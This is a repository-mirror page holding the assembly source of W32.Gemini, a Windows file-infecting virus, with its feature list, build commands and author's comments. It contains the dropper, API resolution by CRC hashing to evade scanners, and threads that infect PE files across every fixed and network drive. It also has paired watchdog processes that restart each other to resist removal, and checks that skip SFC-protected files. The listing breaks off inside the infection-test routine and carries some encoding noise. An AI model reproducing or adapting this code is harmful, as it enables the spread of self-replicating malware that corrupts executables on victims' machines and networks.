mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
1999 lines
78 KiB
NASM
1999 lines
78 KiB
NASM
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[GEMINI.ASM]<EFBFBD><EFBFBD><EFBFBD>
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comment ;)
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W32.Gemini by roy g biv
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some of its features:
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- parasitic resident (own process) infector of PE exe/dll (but not looking at suffix)
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- co-operative processes (if one process is killed, the other will restart it)
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- infects files in all directories on all fixed and network drives
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- directory traversal is linked-list instead of recursive to reduce stack size
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- reloc section inserter/last section appender
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- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
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- uses CRCs instead of API names
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- uses SEH for common code exit
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- section attributes are never altered (virus is not self-modifying)
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- no infect files with data outside of image (eg self-extractors)
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- infected files are padded by random amounts to confuse tail scanners
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- uses SEH walker to find kernel address (no hard-coded addresses)
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- correct file checksum without using imagehlp.dll :) 100% correct algorithm
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- plus some new code optimisations that were never seen before W32.EfishNC :)
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---
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optimisation tip: Windows appends ".dll" automatically, so this works:
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push "cfs"
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push esp
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call LoadLibraryA
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---
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to build this thing:
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tasm
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----
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tasm32 /ml /m3 gemini
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tlink32 /B:400000 /x gemini,,,import32
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Virus is not self-modifying, so no need to alter section attributes
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---
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We're in the middle of a phase transition:
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a butterfly flapping its wings at
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just the right moment could
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cause a storm to happen.
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-I'm trying to understand-
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I'm at a moment in my life-
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I don't know where to flap my wings.
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(Danny Hillis)
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(;
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.486
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.model flat
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extern GetCurrentProcess:proc
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extern WriteProcessMemory:proc
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extern MessageBoxA:proc
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extern ExitProcess:proc
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.data
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;must be reverse alphabetical order because they are stored on stack
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;API names are not present in replications, only in dropper
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expnames db "WriteFile" , 0
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db "WinExec" , 0
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db "SetFileAttributesA" , 0
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db "MoveFileA" , 0
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db "GlobalFree" , 0
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db "GlobalAlloc" , 0
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db "GetWindowsDirectoryA", 0
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db "GetTickCount" , 0
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db "GetTempFileNameA" , 0
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db "GetFileAttributesA" , 0
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db "DeleteFileA" , 0
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db "CreateFileA" , 0
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db "CloseHandle" , 0
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krnnames db "WaitForSingleObject" , 0
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db "UnmapViewOfFile" , 0
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db "Sleep" , 0
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db "SetFileTime" , 0
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db "SetFileAttributesW" , 0
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db "SetFileAttributesA" , 0
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db "SetEvent" , 0
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db "SetCurrentDirectoryW", 0
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db "SetCurrentDirectoryA", 0
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db "ResetEvent" , 0
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db "ReadProcessMemory" , 0
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db "OpenProcess" , 0
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db "OpenEventA" , 0
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db "MultiByteToWideChar" , 0
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db "MapViewOfFile" , 0
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db "LoadLibraryA" , 0
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db "GlobalFree" , 0
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db "GlobalAlloc" , 0
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db "GetVersion" , 0
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db "GetTickCount" , 0
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db "GetStartupInfoA" , 0
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db "GetFullPathNameW" , 0
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db "GetFullPathNameA" , 0
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db "GetDriveTypeA" , 0
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db "GetCurrentProcessId" , 0
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db "GetCommandLineA" , 0
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db "FindNextFileW" , 0
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db "FindNextFileA" , 0
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db "FindFirstFileW" , 0
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db "FindFirstFileA" , 0
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db "FindClose" , 0
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db "CreateThread" , 0
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db "CreateProcessA" , 0
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db "CreateFileW" , 0
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db "CreateFileMappingA" , 0
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db "CreateFileA" , 0
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db "CreateEventA" , 0
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db "CloseHandle" , 0
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sfcnames db "SfcIsFileProtected", 0
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exename equ "gemini" ;must be < 8 bytes long else code change
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txttitle db "Gemini", 0
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txtbody db "running...", 0
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include gemini.inc
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patch_host label near
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pop ecx
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push ecx
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call $ + 5
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pop eax
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add eax, offset host_patch - offset $ + 6
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sub ecx, eax
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push ecx
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mov eax, esp
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xor edi, edi
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push edi
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push 4
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push eax
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push offset host_patch + 1
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push esi
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call WriteProcessMemory
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jmp gemini_inf
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;-----------------------------------------------------------------------------
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;everything before this point is dropper code
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;-----------------------------------------------------------------------------
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;-----------------------------------------------------------------------------
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;virus code begins here in dropped exe
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;-----------------------------------------------------------------------------
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gemini_exe proc near
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call walk_seh
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;-----------------------------------------------------------------------------
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;API CRC table, null terminated
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;-----------------------------------------------------------------------------
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krncrcbegin label near ;place < 80h bytes from call for smaller code
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dd (krncrc_count + 1) dup (0)
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krncrcend label near
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dd offset swap_create - offset krncrcend + 4
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db "Gemini - roy g biv" ;two heads are better than one
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walk_seh label near
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xor esi, esi
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lods dword ptr fs:[esi]
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inc eax
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seh_loop label near
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dec eax
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xchg esi, eax
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lods dword ptr [esi]
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inc eax
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jne seh_loop
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lods dword ptr [esi]
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;-----------------------------------------------------------------------------
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;moved label after some data because "e800000000" looks like virus code ;)
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;-----------------------------------------------------------------------------
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init_findmz label near
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inc eax
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xchg edi, eax
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find_mzhdr label near
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;-----------------------------------------------------------------------------
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;do not use hard-coded kernel address values because it is not portable
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;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
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;they will maybe change again for every new release
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;-----------------------------------------------------------------------------
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dec edi ;sub 64kb
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xor di, di ;64kb align
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call is_pehdr
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jne find_mzhdr
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mov ebx, edi
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pop edi
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;-----------------------------------------------------------------------------
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;parse export table
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;-----------------------------------------------------------------------------
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mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
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lea esi, dword ptr [ebx + esi + peexp.expordbase]
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lods dword ptr [esi] ;Ordinal Base
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lea ebp, dword ptr [eax * 2 + ebx]
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lods dword ptr [esi]
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lods dword ptr [esi]
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lods dword ptr [esi] ;Export Address Table RVA
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lea edx, dword ptr [ebx + eax]
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lods dword ptr [esi] ;Name Pointer Table RVA
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add ebp, dword ptr [esi] ;Ordinal Table RVA
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lea ecx, dword ptr [ebx + eax]
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mov esi, ecx
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push_export label near
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push ecx
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get_export label near
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lods dword ptr [esi]
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push ebx
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add ebx, eax ;Name Pointer VA
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or eax, -1
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crc_outer label near
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xor al, byte ptr [ebx]
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push 8
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pop ecx
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crc_inner label near
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add eax, eax
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jnb crc_skip
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xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
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crc_skip label near
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loop crc_inner
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sub cl, byte ptr [ebx] ;carry set if not zero
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inc ebx ;carry not altered by inc
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jb crc_outer
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pop ebx
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cmp dword ptr [edi], eax
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jne get_export
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;-----------------------------------------------------------------------------
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;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
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;this allows to push addresses onto the stack, and the order is known
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;-----------------------------------------------------------------------------
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pop ecx
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mov eax, esi
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sub eax, ecx ;Name Pointer Table VA
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shr eax, 1
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movzx eax, word ptr [ebp + eax - 4] ;get export ordinal
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mov eax, dword ptr [eax * 4 + edx] ;get export RVA
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add eax, ebx
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push eax
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scas dword ptr [edi]
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cmp dword ptr [edi], 0
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jne push_export
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add edi, dword ptr [edi + 4]
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jmp edi
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csum db 'r' ;altered to give sum == 1
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;-----------------------------------------------------------------------------
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;swap CreateFileW and CreateFileMappingA because of alphabet order
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;-----------------------------------------------------------------------------
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swap_create label near
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mov dword ptr [edi + offset store_krnapi - offset swap_create + 3], esp
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mov ebx, esp
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mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
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xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax
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mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax
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;-----------------------------------------------------------------------------
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;get SFC support if available
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;-----------------------------------------------------------------------------
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call load_sfc
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db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
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load_sfc label near
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call cLoadLibraryA
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test eax, eax
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jne found_sfc
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push 'cfs' ;Windows Me/2000
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push esp
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call cLoadLibraryA
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pop ecx
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test eax, eax
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je sfcapi_esp
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found_sfc label near
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push edi
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call init_findmz
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;-----------------------------------------------------------------------------
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;API CRC table, null terminated
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;-----------------------------------------------------------------------------
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sfccrcbegin label near ;place < 80h bytes from call for smaller code
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dd (sfccrc_count + 1) dup (0)
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sfccrcend label near
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dd offset sfcapi_pop - offset sfccrcend + 4
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sfcapi_pop label near
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pop eax
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pop edi
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sfcapi_esp label near
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mov dword ptr [edi + offset store_sfcapi - offset swap_create + 1], eax
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mov ecx, offset gemini_codeend - offset gemini_exe
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lea esi, dword ptr [edi + offset gemini_exe - offset swap_create]
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xor al, al
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calc_sum label near
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add al, byte ptr [esi]
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inc esi
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loop calc_sum
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dec eax
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sub byte ptr [edi + offset csum - offset swap_create], al
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push eax
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push esp
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xor esi, esi
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push esi
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push esi
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call create_thr1
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;-----------------------------------------------------------------------------
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;thread 1: infect files on all fixed and remote drive letters
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;-----------------------------------------------------------------------------
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find_drives proc near
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mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk
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drive_loop label near
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push eax
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push esp
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push (krncrcstk.kGetDriveTypeA - krncrcstk.kWaitForSingleObject) shr 2
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pop eax
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call store_krnapi
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sub al, DRIVE_FIXED
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je drive_set
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xchg ecx, eax
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loop drive_next ;loop if not DRIVE_REMOTE
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;if I were you, you were me
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;I wonder who I'd wanna be
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;with just one wish you can't refuse
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;I wouldn't know what to choose
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drive_set label near
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push esp
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call cSetCurrentDirectoryA
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call find_files
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drive_next label near
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pop eax
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inc eax
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cmp al, 'Z' + 1
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jne drive_loop
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push 10 * 60 * 1000 ;10 minutes
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call cSleep
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jmp find_drives
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find_drives endp
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create_thr1 label near
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push esi
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push esi
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call cCreateThread
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;-----------------------------------------------------------------------------
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;alg for process 1 |alg for process 2
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;if argc == 1 |if argc == 1
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;{ |{
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; pid1 = GetCurrentProcessId | always false for process 2
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; do |
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; { |
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; CreateEventA(event1, true) |
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; CreateEventA(event2, false) |
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; pid2 = CreateProcessA(process2, pid1, event 1, event 2)
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; WaitForSingleObject(event2, timeout) |
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;restart: |
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; CloseHandle(event2) |
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; CloseHandle(event1) |
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; } |
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; while !signal |
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;} |}
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;OpenProcess(pid2) |OpenProcess(pid1)
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;OpenEventA(event1) |OpenEventA(event1)
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;OpenEventA(event2) |OpenEventA(event2)
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;do |do
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;{ |{
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; if WaitForSingleObject(event1, 0) | if WaitForSingleObject(event2, 0)
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; break | break
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; ResetEvent(event2) | ResetEvent(event1)
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; if !checksum(pid2) | if !checksum(pid1)
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; break | break
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; SetEvent(event1) | SetEvent(event2)
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; Sleep(sleeplen) | Sleep(sleeplen)
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;} |}
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;while WaitForSingleObject(event2, timeout) |while WaitForSingleObject(event1, timeout)
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;CloseHandle(pid2) |CloseHandle(pid1)
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;goto restart |goto restart (and process 2 becomes process 1)
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;-----------------------------------------------------------------------------
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enter MAX_PATH + 32, 0 ;pathname, pid, event1, event2
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get_cmdline label near
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push (krncrcstk.kGetCommandLineA - krncrcstk.kWaitForSingleObject) shr 2
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pop eax
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call store_krnapi
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xchg esi, eax
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mov edi, esp
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mov ah, '"'
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lods byte ptr [esi]
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stos byte ptr [edi]
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cmp al, ah
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je find_argv
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|
mov ah, ' '
|
|||
|
|
|||
|
find_argv label near
|
|||
|
lods byte ptr [esi]
|
|||
|
stos byte ptr [edi]
|
|||
|
test al, al
|
|||
|
je no_argv
|
|||
|
cmp al, ah
|
|||
|
jne find_argv
|
|||
|
|
|||
|
find_argv1 label near
|
|||
|
mov edx, esi
|
|||
|
lods byte ptr [esi] ;the unpredictable case:
|
|||
|
cmp al, ' ' ;how many spaces?
|
|||
|
je find_argv1 ;can be 0, 1, or 2
|
|||
|
xor ecx, ecx
|
|||
|
dec esi
|
|||
|
inc edi
|
|||
|
|
|||
|
no_argv label near
|
|||
|
xor ebx, ebx
|
|||
|
mov byte ptr [esi - 1], bl ;no args for restart
|
|||
|
dec edi
|
|||
|
test al, al
|
|||
|
mov al, ' '
|
|||
|
stos byte ptr [edi]
|
|||
|
jne skip_argv1
|
|||
|
mov ebp, esp
|
|||
|
push (krncrcstk.kGetCurrentProcessId - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
xchg ecx, eax
|
|||
|
push edi
|
|||
|
call hexdwd2asc
|
|||
|
inc edi
|
|||
|
call cGetTickCount
|
|||
|
push eax
|
|||
|
xchg ecx, eax
|
|||
|
call create_event
|
|||
|
pop ecx
|
|||
|
push eax ;CloseHandle
|
|||
|
rol ecx, 1
|
|||
|
call create_event
|
|||
|
pop ecx
|
|||
|
pop edi
|
|||
|
push ebx ;init continue flag
|
|||
|
push ecx
|
|||
|
push eax ;CloseHandle
|
|||
|
push TIMEOUT * 1000 ;WaitForSingleObject
|
|||
|
push eax ;WaitForSingleObject
|
|||
|
sub esp, size processinfo
|
|||
|
mov edx, esp
|
|||
|
sub esp, size startupinfo
|
|||
|
mov ecx, esp
|
|||
|
push edx
|
|||
|
push ecx
|
|||
|
push ebx
|
|||
|
push ebx
|
|||
|
push ebx
|
|||
|
push ebx
|
|||
|
push ebx
|
|||
|
push ebx
|
|||
|
push ebp
|
|||
|
push ebx
|
|||
|
push ecx
|
|||
|
push (krncrcstk.kGetStartupInfoA - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
push (krncrcstk.kCreateProcessA - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
add esp, size startupinfo + processinfo.pidwProcessId
|
|||
|
pop ebx
|
|||
|
pop eax
|
|||
|
call cWaitForSingleObject
|
|||
|
test eax, eax
|
|||
|
setz byte ptr [esp + 8] ;store continue flag
|
|||
|
|
|||
|
restart label near
|
|||
|
call cCloseHandle
|
|||
|
call cCloseHandle
|
|||
|
pop eax
|
|||
|
test eax, eax
|
|||
|
|
|||
|
branch_cmd label near
|
|||
|
je get_cmdline
|
|||
|
mov ecx, ebx ;remote PID
|
|||
|
mov esi, edi
|
|||
|
|
|||
|
skip_argv1 label near
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
movs byte ptr [edi], byte ptr [esi]
|
|||
|
|
|||
|
find_argv2 label near
|
|||
|
mov ebp, edi ;argv2
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
inc esi
|
|||
|
xor al, al
|
|||
|
stos byte ptr [edi]
|
|||
|
mov ebx, edi ;argv3
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
stos byte ptr [edi]
|
|||
|
inc ecx
|
|||
|
loop skip_pid
|
|||
|
call asc2hex
|
|||
|
xchg ebp, ebx ;swap event order for remote process
|
|||
|
|
|||
|
skip_pid label near
|
|||
|
push ecx
|
|||
|
xor edi, edi
|
|||
|
push edi
|
|||
|
push PROCESS_VM_READ
|
|||
|
push (krncrcstk.kOpenProcess - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
test eax, eax
|
|||
|
je branch_cmd
|
|||
|
push edi ;clear continue flag
|
|||
|
push eax ;CloseHandle
|
|||
|
push ebx
|
|||
|
push edi
|
|||
|
mov eax, EVENT_MODIFY_STATE or SYNCHRONIZE
|
|||
|
push eax
|
|||
|
push ebp
|
|||
|
push edi
|
|||
|
push eax
|
|||
|
call cOpenEventA
|
|||
|
xchg esi, eax ;event1
|
|||
|
call cOpenEventA
|
|||
|
xchg edi, eax ;event2
|
|||
|
|
|||
|
;sing with me just for today
|
|||
|
;maybe tomorrow the good Lord will take you away
|
|||
|
|
|||
|
main_loop label near
|
|||
|
push 0
|
|||
|
push esi
|
|||
|
call cWaitForSingleObject ;ensure local event reset by remote process
|
|||
|
xchg ecx, eax
|
|||
|
jecxz shutdown ;still signalled
|
|||
|
push edi
|
|||
|
push (krncrcstk.kResetEvent - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
|
|||
|
;local process checksums remote process
|
|||
|
;remote process checksums local process
|
|||
|
|
|||
|
pop eax
|
|||
|
push eax
|
|||
|
enter (offset gemini_codeend - offset gemini_exe + 3) and -4, 0
|
|||
|
mov ecx, esp
|
|||
|
push eax
|
|||
|
push esp
|
|||
|
push offset gemini_codeend - offset gemini_exe
|
|||
|
push ecx
|
|||
|
push 401000h + expsize
|
|||
|
push eax
|
|||
|
push (krncrcstk.kReadProcessMemory - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
pop ecx
|
|||
|
jecxz shutdown ;read failure
|
|||
|
xor eax, eax
|
|||
|
|
|||
|
check_sum label near
|
|||
|
add al, byte ptr [esp]
|
|||
|
inc esp
|
|||
|
loop check_sum
|
|||
|
leave
|
|||
|
xchg ecx, eax
|
|||
|
loop shutdown
|
|||
|
push esi
|
|||
|
push (krncrcstk.kSetEvent - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
push SLEEPLEN * 1000
|
|||
|
call cSleep
|
|||
|
push TIMEOUT * 1000
|
|||
|
push edi
|
|||
|
call cWaitForSingleObject
|
|||
|
xchg ecx, eax
|
|||
|
jecxz main_loop ;signalled in time
|
|||
|
|
|||
|
;if one process is killed, then one more process will start
|
|||
|
;if one process is altered, then two more processes will start!
|
|||
|
;like the Sorceror's Apprentice ;)
|
|||
|
|
|||
|
shutdown label near
|
|||
|
call cCloseHandle
|
|||
|
push esi
|
|||
|
push edi
|
|||
|
jmp restart
|
|||
|
|
|||
|
skip_spaces proc near
|
|||
|
mov ecx, edi
|
|||
|
lods byte ptr [esi]
|
|||
|
stos byte ptr [edi]
|
|||
|
cmp al, ' '
|
|||
|
je skip_spaces
|
|||
|
ret
|
|||
|
skip_spaces endp
|
|||
|
|
|||
|
asc2hex proc near
|
|||
|
xor ecx, ecx
|
|||
|
mov esi, edx
|
|||
|
|
|||
|
asc2hex_loop label near
|
|||
|
lods byte ptr [esi]
|
|||
|
sub al, '0'
|
|||
|
jb asc2hex_ret
|
|||
|
cmp al, 9
|
|||
|
jbe asc2hex_add
|
|||
|
sub al, 7
|
|||
|
|
|||
|
asc2hex_add label near
|
|||
|
shl ecx, 4
|
|||
|
or cl, al
|
|||
|
jmp asc2hex_loop
|
|||
|
|
|||
|
asc2hex_ret label near
|
|||
|
ret
|
|||
|
asc2hex endp
|
|||
|
|
|||
|
create_event proc near
|
|||
|
mov al, ' '
|
|||
|
dec edi
|
|||
|
stos byte ptr [edi]
|
|||
|
push edi ;CreateEventA
|
|||
|
call hexdwd2asc
|
|||
|
xor al, al
|
|||
|
stos byte ptr [edi]
|
|||
|
push ebx
|
|||
|
push esp ;non-zero
|
|||
|
push ebx
|
|||
|
push (krncrcstk.kCreateEventA - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
ret
|
|||
|
|
|||
|
hexdwd2asc proc near
|
|||
|
call hexwrd2asc
|
|||
|
call hexwrd2asc
|
|||
|
call hexwrd2asc
|
|||
|
|
|||
|
hexwrd2asc proc near
|
|||
|
rol ecx, 8
|
|||
|
mov eax, ecx
|
|||
|
aam 10h
|
|||
|
call hexbyt2asc
|
|||
|
|
|||
|
hexbyt2asc proc near
|
|||
|
xchg ah, al
|
|||
|
cmp al, 0ah
|
|||
|
sbb al, 69h
|
|||
|
das
|
|||
|
stos byte ptr [edi]
|
|||
|
ret
|
|||
|
hexbyt2asc endp
|
|||
|
hexwrd2asc endp
|
|||
|
hexdwd2asc endp
|
|||
|
create_event endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;non-recursive directory traverser
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
find_files proc near
|
|||
|
push size findlist
|
|||
|
push GMEM_ZEROINIT
|
|||
|
call cGlobalAlloc
|
|||
|
test eax, eax
|
|||
|
je file_exit
|
|||
|
xchg esi, eax
|
|||
|
call get_krnapis
|
|||
|
|
|||
|
file_first label near
|
|||
|
push '*' ;ANSI-compatible Unicode findmask
|
|||
|
mov eax, esp
|
|||
|
lea ebx, dword ptr [esi + findlist.finddata]
|
|||
|
push ebx
|
|||
|
push eax
|
|||
|
call dword ptr [ebp + krncrcstk.kFindFirstFileW]
|
|||
|
pop ecx
|
|||
|
mov dword ptr [esi + findlist.findhand], eax
|
|||
|
inc eax
|
|||
|
je file_prev
|
|||
|
|
|||
|
;you must always step forward from where you stand
|
|||
|
|
|||
|
test_dirfile label near
|
|||
|
mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
|
|||
|
lea edi, dword ptr [esi + findlist.finddata.cFileName]
|
|||
|
test al, FILE_ATTRIBUTE_DIRECTORY
|
|||
|
je test_file
|
|||
|
cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
|
|||
|
je file_next
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;enter subdirectory, and allocate another list node
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
push edi
|
|||
|
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
|
|||
|
xchg ecx, eax
|
|||
|
jecxz file_next
|
|||
|
push size findlist
|
|||
|
push GMEM_FIXED
|
|||
|
call cGlobalAlloc
|
|||
|
xchg ecx, eax
|
|||
|
jecxz step_updir
|
|||
|
xchg esi, ecx
|
|||
|
mov dword ptr [esi + findlist.findprev], ecx
|
|||
|
jmp file_first
|
|||
|
|
|||
|
file_exit label near
|
|||
|
ret
|
|||
|
|
|||
|
file_next label near
|
|||
|
lea ebx, dword ptr [esi + findlist.finddata]
|
|||
|
push ebx
|
|||
|
mov edi, dword ptr [esi + findlist.findhand]
|
|||
|
push edi
|
|||
|
call dword ptr [ebp + krncrcstk.kFindNextFileW]
|
|||
|
test eax, eax
|
|||
|
jne test_dirfile
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;close find, and free list node
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
push edi
|
|||
|
mov al, (krncrcstk.kFindClose - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
call store_krnapi
|
|||
|
|
|||
|
file_prev label near
|
|||
|
push esi
|
|||
|
mov esi, dword ptr [esi + findlist.findprev]
|
|||
|
call cGlobalFree
|
|||
|
test esi, esi
|
|||
|
je file_exit
|
|||
|
|
|||
|
step_updir label near
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;the ANSI string ".." can be used, even on Unicode platforms
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
push '..'
|
|||
|
push esp
|
|||
|
call cSetCurrentDirectoryA
|
|||
|
pop eax
|
|||
|
jmp file_next
|
|||
|
|
|||
|
test_file label near
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;get full path and convert to Unicode if required (SFC requires Unicode path)
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
push eax ;save original file attributes for close
|
|||
|
mov eax, ebp
|
|||
|
enter MAX_PATH * 2, 0
|
|||
|
mov ecx, esp
|
|||
|
push eax
|
|||
|
push esp
|
|||
|
push ecx
|
|||
|
push MAX_PATH
|
|||
|
push edi
|
|||
|
call dword ptr [eax + krncrcstk.kGetFullPathNameW]
|
|||
|
xchg edi, eax
|
|||
|
pop eax
|
|||
|
xor ebx, ebx
|
|||
|
call cGetVersion
|
|||
|
test eax, eax
|
|||
|
jns store_sfcapi
|
|||
|
|
|||
|
;did you dream you were together and wake up alone?
|
|||
|
|
|||
|
mov ecx, esp
|
|||
|
xchg ebp, eax
|
|||
|
enter MAX_PATH * 2, 0
|
|||
|
xchg ebp, eax
|
|||
|
mov eax, esp
|
|||
|
push MAX_PATH
|
|||
|
push eax
|
|||
|
inc edi
|
|||
|
push edi
|
|||
|
push ecx
|
|||
|
push ebx ;use default translation
|
|||
|
push ebx ;CP_ANSI
|
|||
|
push (krncrcstk.kMultiByteToWideChar - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
|
|||
|
store_sfcapi label near
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;don't touch protected files
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
mov ecx, '!bgr' ;SfcIsFileProtected
|
|||
|
xor eax, eax ;fake success in case of no SFC
|
|||
|
jecxz leave_sfc
|
|||
|
push esp
|
|||
|
push ebx
|
|||
|
call ecx
|
|||
|
|
|||
|
leave_sfc label near
|
|||
|
leave
|
|||
|
test eax, eax
|
|||
|
jne restore_attr
|
|||
|
call set_fileattr
|
|||
|
push ebx
|
|||
|
push ebx ;attribute ignored for existing files
|
|||
|
push OPEN_EXISTING
|
|||
|
push ebx
|
|||
|
push ebx
|
|||
|
push GENERIC_READ or GENERIC_WRITE
|
|||
|
push edi
|
|||
|
call dword ptr [ebp + krncrcstk.kCreateFileW]
|
|||
|
xchg ebx, eax
|
|||
|
call test_infect
|
|||
|
db 81h ;mask CALL
|
|||
|
call infect_file ;Super Nashwan power ;)
|
|||
|
|
|||
|
close_file label near ;label required for delta offset
|
|||
|
lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
|
|||
|
push eax
|
|||
|
sub eax, 8
|
|||
|
push eax
|
|||
|
sub eax, 8
|
|||
|
push eax
|
|||
|
push ebx
|
|||
|
push (krncrcstk.kSetFileTime - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
push ebx
|
|||
|
call cCloseHandle
|
|||
|
|
|||
|
restore_attr label near
|
|||
|
pop ebx ;restore original file attributes
|
|||
|
call set_fileattr
|
|||
|
jmp file_next
|
|||
|
find_files endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;look for MZ and PE file signatures
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
is_pehdr proc near ;edi -> map view
|
|||
|
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
|
|||
|
jne pehdr_ret
|
|||
|
mov esi, dword ptr [edi + mzhdr.mzlfanew]
|
|||
|
add esi, edi
|
|||
|
lods dword ptr [esi] ;SEH protects against bad lfanew value
|
|||
|
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
|
|||
|
|
|||
|
pehdr_ret label near
|
|||
|
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
|
|||
|
is_pehdr endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;reset/set read-only file attribute
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
|
|||
|
push ebx
|
|||
|
lea edi, dword ptr [esi + findlist.finddata.cFileName]
|
|||
|
push edi
|
|||
|
call dword ptr [ebp + krncrcstk.kSetFileAttributesW]
|
|||
|
ret ;edi -> filename
|
|||
|
db "14/02/02" ;missing her on Valentine's Day
|
|||
|
set_fileattr endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs
|
|||
|
call map_view
|
|||
|
mov ebp, esi
|
|||
|
call is_pehdr
|
|||
|
jne inftest_ret
|
|||
|
lods dword ptr [esi]
|
|||
|
cmp ax, IMAGE_FILE_MACHINE_I386
|
|||
|
jne inftest_ret ;only Intel 386+
|
|||
|
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
|
|||
|
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
|
|||
|
mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
|
|||
|
jne inftest_ret
|
|||
|
add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;if file is a .dll, then we require an entry point function
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
lods dword ptr [esi]
|
|||
|
xchg ecx, eax
|
|||
|
test ah, IMAGE_FILE_DLL shr 8
|
|||
|
je test_system
|
|||
|
jecxz inftest_ret
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;32-bit executable file...
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test_system label near
|
|||
|
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
|
|||
|
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
|
|||
|
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
|
|||
|
|
|||
|
